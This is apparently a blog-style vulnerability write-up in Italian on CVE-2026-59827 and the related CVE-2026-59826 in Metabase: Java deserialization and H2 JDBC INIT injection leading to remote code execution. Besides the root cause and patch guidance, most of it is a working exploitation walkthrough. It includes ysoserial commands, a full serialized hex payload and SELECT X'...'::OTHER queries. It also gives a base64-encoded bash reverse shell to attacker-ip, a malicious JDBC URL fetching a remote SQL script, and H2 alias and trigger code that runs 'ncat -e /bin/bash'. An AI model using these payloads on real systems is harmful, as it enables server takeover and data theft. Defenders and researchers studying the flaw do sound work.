c0gnit00/cve-2026-59827Blog su CVE-2026-59827, deserializzazione non sicura dell'output di query H2
GHSA-w95f-x9v9-wv36 | CVSS 9.9 Critico | CWE-502: Deserializzazione di dati non attendibili
CVE-2026-59827 è una vulnerabilità critica di esecuzione di codice remoto in Metabase, la popolare piattaforma open-source di business intelligence e analisi dei dati. Il difetto deriva dal modo in cui Metabase gestisce i risultati delle query restituiti da una connessione al database H2. Quando una query SQL nativa contro una fonte H2 restituisce una colonna tipizzata come OTHER, Metabase deserializza i byte grezzi di quella colonna in un oggetto Java senza eseguire alcuna validazione. Un utente autenticato che può eseguire query native è quindi in grado di introdurre un payload serializzato malevolo nel set di risultati e attivare l'esecuzione di codice arbitrario sul server che ospita Metabase.
Alla vulnerabilità è stato assegnato un punteggio CVSS di 9.9, a riflettere le condizioni minime richieste e la completa esecuzione di codice lato server che deriva da uno sfruttamento riuscito.
Metabase distribuisce due edizioni parallele dallo stesso ciclo di rilascio. L'edizione open-source utilizza numeri di versione con prefisso 0 — ad esempio, v0.61.1. L'edizione enterprise (commerciale) utilizza numeri di versione con prefisso 1 — ad esempio, v1.61.1. Entrambe le edizioni condividono lo stesso codebase sottostante e vengono rilasciate insieme, quindi una vulnerabilità che colpisce v1.61.0 colpisce ugualmente v0.61.0. In questo documento, i numeri di versione sono scritti usando il prefisso 1.xx enterprise, ma ogni versione affetta corrisponde direttamente alla sua controparte open-source 0.xx sostituendo il 1 iniziale con 0.
Sia CVE-2026-59826 che CVE-2026-59827 sono state divulgate insieme nel luglio 2026. Condividono intervalli di versione sovrapposti ma hanno diversi punti di patch.
Le release enterprise vulnerabili sono 1.58.0 fino a 1.58.14, 1.59.0 fino a 1.59.11, 1.60.0 fino a 1.60.6.2 e 1.61.0 fino a 1.61.1.3. Le corrispondenti release open-source sono 0.58.0 fino a 0.58.14, 0.59.0 fino a 0.59.11, 0.60.0 fino a 0.60.6.2 e 0.61.0 fino a 0.61.1.3.
Una patch interna è stata rilasciata per la prima volta come 1.61.1.4 (enterprise) e 0.61.1.4 (open-source). La prima release corretta pubblicamente disponibile nella linea 1.61 è 1.61.2 (v1.61.2.x / v0.61.2.x). Le istanze Metabase Cloud sono state corrette automaticamente dal fornitore.
Le release enterprise vulnerabili sono 1.55.0 fino a 1.58.15.0, 1.59.0 fino a 1.59.11, 1.60.0 fino a 1.60.6.2 e 1.61.0 fino all'intera linea 1.61.1.x. La prima release pubblica completamente corretta è 1.61.2 (v1.61.2.x / v0.61.2.x). L'ambito di CVE-2026-59826 è più ampio, arrivando fino alla linea di rilascio 1.55, riflettendo la presenza più lunga del percorso del codice di creazione del database insufficientemente validato che sfrutta.
Il meccanismo di serializzazione di Java consente di convertire un oggetto in memoria in un flusso piatto di byte, memorizzarlo o trasmetterlo, e poi ricostruirlo in seguito chiamando ObjectInputStream.readObject(). La proprietà critica di questo meccanismo è che la ricostruzione esegue codice. I costruttori di classi, le sovrascritture di readObject e i finalizzatori vengono tutti eseguiti durante la deserializzazione. Se i byte in lettura provengono da una fonte non attendibile, un attaccante può manipolarli per attivare chiamate a metodi arbitrari attraverso una sequenza di classi esistenti e legittime già caricate nella JVM. Queste sequenze sono note come catene di gadget.
Le catene di gadget non richiedono l'introduzione di nuovo codice nell'applicazione. Sfruttano il cablaggio di classi di libreria esistenti i cui metodi normali, quando chiamati nell'ordine giusto durante la deserializzazione, raggiungono infine un sink come Runtime.exec(). Strumenti come ysoserial esistono specificamente per generare questi payload per librerie ampiamente distribuite come Apache Commons Collections, Spring Framework e altre.
H2 è un database relazionale embedded puramente Java. Definisce un tipo di colonna SQL speciale chiamato OTHER che agisce come pass-through per oggetti Java arbitrari. Quando H2 memorizza un valore in una colonna OTHER, scrive i byte prodotti da ObjectOutputStream di Java. Quando legge il valore indietro, chiama ObjectInputStream.readObject() per ricostruire l'oggetto. I byte serializzati grezzi possono anche essere forniti direttamente in una query usando la sintassi letterale esadecimale di H2:
SELECT CAST(X'ACED0005...' AS OTHER);
-- oppure
SELECT X'ACED0005...'::OTHER;
Il prefisso ACED seguito da 0005 è il numero magico del flusso di serializzazione Java e la versione del protocollo. Qualsiasi stringa esadecimale che inizia con ACED0005 è un flusso di oggetti serializzati Java.
Quando H2 elabora questa query, deserializza i byte esadecimali lato database. L'oggetto risultante viene quindi restituito all'applicazione chiamante tramite il ResultSet JDBC. Se l'applicazione ispeziona il valore della colonna — ad esempio, per formattarlo per la visualizzazione — potrebbe attivare un'elaborazione aggiuntiva. Questo è esattamente ciò che fa Metabase nel percorso del codice vulnerabile.
Metabase riceve il ResultSet JDBC dal driver H2 e ispeziona i metadati delle colonne per decidere come visualizzare ogni valore per l'utente. Quando incontra una colonna con il tipo JDBC Types.OTHER (segnalato anche come JAVA_OBJECT), le versioni vulnerabili di Metabase tentano di deserializzare i byte grezzi per produrre una rappresentazione visualizzabile. Questa chiamata di deserializzazione, ObjectInputStream.readObject(), viene eseguita senza alcun filtro whitelist o validazione delle classi.
La sequenza degli eventi è:
OTHER contenente un payload serializzato manipolato.JAVA_OBJECT nel ResultSet.OTHER e chiama readObject() sui byte.Runtime.exec() ed eseguendo il comando dell'attaccante come utente del sistema operativo che esegue il processo di Metabase.Le versioni corrette risolvono il problema ispezionando i metadati dei risultati JDBC prima di tentare qualsiasi deserializzazione. Se una colonna è tipizzata come JAVA_OBJECT, Metabase la rifiuta direttamente invece di tentare di analizzarla.
Lo sfruttamento richiede l'autenticazione. L'attaccante deve possedere un account Metabase con permesso di esecuzione di query native su un database supportato da H2. Gli account amministratore soddisfano questo requisito per impostazione predefinita. Anche gli account utente normali possono soddisfare questo requisito se un amministratore ha concesso loro il permesso di dati di query native per il database pertinente.
Metabase ha rimosso il supporto per l'aggiunta di H2 come nuova connessione data warehouse nella versione 0.46.6.4, rilasciata nel 2023. Tentare di registrare una nuova connessione H2 tramite l'interfaccia di amministrazione restituisce l'errore "H2 not supported as a data warehouse" (H2 non è supportato come data warehouse). Questa rimozione è stata una risposta a precedenti vulnerabilità relative a H2 ed era intesa a eliminare il rischio di connettersi a istanze H2 controllate dall'attaccante.
Tuttavia, la rimozione di H2 dall'interfaccia utente di connessione al data warehouse non equivale alla rimozione di H2 da Metabase. Due database H2 rimangono presenti in ogni installazione predefinita di Metabase.
Il primo è il database dell'applicazione. Quando Metabase non è configurato per utilizzare un database esterno come PostgreSQL o MySQL, memorizza i propri metadati — domande, dashboard, account utente e impostazioni — in un file H2 in /metabase-data/metabase.db.mv.db. Questo database non è direttamente interrogabile tramite l'interfaccia utente di Metabase.
Il secondo, e più direttamente sfruttabile, è il database di esempio. Durante la configurazione iniziale, Metabase crea un database H2 pre-popolato con dati di esempio e lo rende disponibile come connessione "Sample Database" (Database di esempio). Questa connessione è presente per impostazione predefinita in ogni istanza Metabase ed è la superficie d'attacco principale per CVE-2026-59827. È una connessione H2 attiva su cui gli utenti possono eseguire query SQL native e la stringa di connessione visibile nel pannello di amministrazione punta a file:/plugins/sample-database.db.
Il database di esempio impone l'accesso in sola lettura per tutti gli utenti, inclusi gli amministratori. La pagina delle impostazioni del database di Metabase su http://localhost:3000/admin/databases consente di concedere l'accesso in scrittura sui database connessi, ma l'interruttore non è disponibile per il database di esempio. Ciò significa che le istruzioni DML (Data Manipulation Language) come CREATE, UPDATE e DELETE non possono essere eseguite sul database di esempio attraverso i mezzi normali.
Questa restrizione è importante perché chiude alcune vie d'attacco alternative. Ad esempio, il motore H2 supporta un'istruzione CREATE ALIAS che può definire una funzione Java e chiamarla:
CREATE ALIAS REVEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
} $$;
Poiché l'accesso in scrittura è bloccato sul database di esempio, questo percorso DDL non è disponibile. Il percorso di deserializzazione tramite SELECT CAST(X'...' AS OTHER) è il vettore di exploit praticabile proprio perché richiede solo un'istruzione SELECT, che è consentita a tutti gli utenti.
Per testare questa vulnerabilità in un ambiente di laboratorio controllato, esegui una versione di Metabase nell'intervallo affetto:
docker run -d -p 3000:3000 \
--name metabase-vulnerable \
-v metabase-data:/metabase-data \
metabase/metabase:v0.61.1
Metabase si inizializzerà su http://localhost:3000, creerà il suo database applicativo H2 in /metabase-data/metabase.db.mv.db e fornirà automaticamente il database di esempio. Completa la configurazione iniziale dell'account per ottenere una sessione autenticata. Dopo la configurazione, vai all'editor SQL per il Database di esempio. Questo è l'ambiente di esecuzione per l'exploit.
Prima di tentare l'esecuzione di comandi, conferma che il percorso di deserializzazione sia raggiungibile. La catena di gadget URLDNS di ysoserial genera un payload che, quando deserializzato, effettua una query DNS in uscita verso un hostname specificato. Non esegue alcun comando di sistema, rendendolo una sonda sicura per stabilire che readObject() viene effettivamente chiamato.
Genera il payload:
/usr/lib/jvm/java-11-openjdk-amd64/bin/java -jar ysoserial-all.jar URLDNS 'http://tuo-oast-hostname.oast.fun' | xxd -p | tr -d '\n'
Questo produce una stringa esadecimale che inizia con aced0005. Un esempio dell'output esadecimale da un payload catturato:
aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff74002a6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e74000071007e0005740004687474707078740031687474703a2f2f6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e78
Apri l'editor SQL in Metabase contro il Database di esempio ed esegui quanto segue, sostituendo la stringa esadecimale generata per il tuo hostname OAST:
SELECT X'aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff74002a6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e74000071007e0005740004687474707078740031687474703a2f2f6b746a6367677278656c69647461647065687464326a696537356d73637075646e2e6f6173742e66756e78'::OTHER;
Monitora il tuo ascoltatore OAST. Ricevere una query DNS dall'indirizzo IP del server Metabase conferma che readObject() è stato chiamato e la deserializzazione sta avvenendo sulla colonna OTHER.
Quale catena di gadget raggiunge l'esecuzione del codice dipende da quali librerie Java sono presenti nel classpath del server Metabase. Prova le seguenti catene in sequenza:
java -jar ysoserial-all.jar CommonsCollections1 'id' > payload.bin
java -jar ysoserial-all.jar CommonsCollections2 'id' > payload.bin
java -jar ysoserial-all.jar CommonsCollections3 'id' > payload.bin
java -jar ysoserial-all.jar Clojure 'id' > payload.bin
Converti ogni payload binario nel formato esadecimale richiesto dalla query SQL:
xxd -p payload.bin | tr -d '\n' > payload.hex
Quindi invia usando lo stesso schema SELECT X'...'::OTHER nell'editor SQL di Metabase e osserva se l'output del comando viene riflesso in qualche messaggio di errore o risposta.
Una volta identificata una catena di gadget funzionante, sostituisci il comando di test con il payload desiderato. Per una shell inversa, codifica il comando in base64 per evitare problemi di quoting della shell:
echo 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1' | base64
Genera il payload ysoserial con lo schema di esecuzione decodificato in base64:
java -jar ysoserial-all.jar CommonsCollections1 \
'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci1pcC80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}' \
> payload.bin
xxd -p payload.bin | tr -d '\n' > payload.hex
Configura l'ascoltatore prima di inviare la query:
nc -lvnp 4444
Quindi incolla l'esadecimale nell'editor SQL:
SELECT X'<incolla la stringa esadecimale qui>'::OTHER;
Quando Metabase elabora il set di risultati e incontra la colonna OTHER, readObject() si attiva, la catena di gadget viene eseguita e la shell inversa si connette.
Se viene sollevata InvalidClassException, la catena di gadget dipende da una versione della libreria che non corrisponde a quella presente sul server. Prova una catena diversa.
Se non accade nulla dopo aver inviato la query, o l'istanza è già stata corretta, i filtri di serializzazione JEP 290 sono attivi e bloccano la catena di gadget, oppure il tipo di colonna OTHER non viene elaborato dal percorso del codice vulnerabile.
Se si verifica ClassNotFoundException, la libreria richiesta è assente dal classpath. Prova una catena diversa.
Sull'output dell'interfaccia utente, otterrai solo l'errore "We're experiencing server issue" (Stiamo riscontrando un problema del server):
CVE-2026-59826 (GHSA-r6x2-rchx-q9g9) è una vulnerabilità correlata divulgata nello stesso momento. Mentre CVE-2026-59827 sfrutta la deserializzazione attraverso i risultati delle query, CVE-2026-59826 prende di mira un percorso di codice separato: l'endpoint di registrazione del database. Un amministratore autenticato può inviare un URL di connessione JDBC H2 manipolato contenente un parametro INIT che viene eseguito quando la connessione viene stabilita. Poiché la validazione applicata al campo INIT era insufficiente su alcuni percorsi di creazione e modifica del database, un attaccante con accesso admin può ottenere RCE attraverso la stringa di connessione anziché attraverso una query.
Un URL di connessione INIT malevolo assume una forma come:
jdbc:h2:mem:tempdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM "http://attacker-ip/rce.sql"
Il file SQL servito dall'attaccante può definire e chiamare un alias Java che esegue comandi shell:
CREATE ALIAS SHELLEXEC AS $$
String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(
Runtime.getRuntime().exec(command).getInputStream()
).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
}
$$;
CALL SHELLEXEC('ncat -e /bin/bash attacker-ip 5555')
In alternativa, la stringa INIT può incorporare il trigger direttamente senza recuperare un file remoto:
jdbc:h2:file:/tmp/tempdb;TRACE_LEVEL_SYSTEM_OUT=0\;
CREATE TRIGGER rce_trigger BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS
$$
java.lang.Runtime.getRuntime().exec('bash -c {echo,<base64_payload>}|{base64,-d}|{bash,-i}')
$$--=x
Sia CVE-2026-59826 che CVE-2026-59827 condividono la stessa causa principale — un rafforzamento insufficiente delle funzionalità di esecuzione lato server di H2 — ma differiscono nei percorsi di codice specifici sfruttati e nel livello di privilegio richiesto.
Aggiorna Metabase a una delle seguenti versioni corrette: 1.58.15, 1.59.12, 1.60.6.3 o 1.61.1.4. Queste release modificano la pipeline di elaborazione dei risultati per ispezionare i metadati delle colonne JDBC e rifiutarsi di elaborare qualsiasi colonna segnalata come tipo JAVA_OBJECT o OTHER, impedendo che si verifichi la chiamata di deserializzazione.
Se un aggiornamento immediato non è possibile, limita i permessi di query native. Rimuovi il permesso di esecuzione di query native da tutti gli utenti non amministratori per i database basati su H2, incluso il database di esempio. Questo riduce la superficie d'attacco ai soli account di livello amministratore. Separatamente, considera se il database di esempio è effettivamente necessario; disabilitarlo o rimuoverlo elimina completamente la superficie d'attacco H2 per questa CVE.
Per le istanze self-hosted che utilizzano H2 come database dell'applicazione, la documentazione stessa di Metabase raccomanda di migrare a PostgreSQL o MySQL come backend di database dell'applicazione più robusto e sicuro.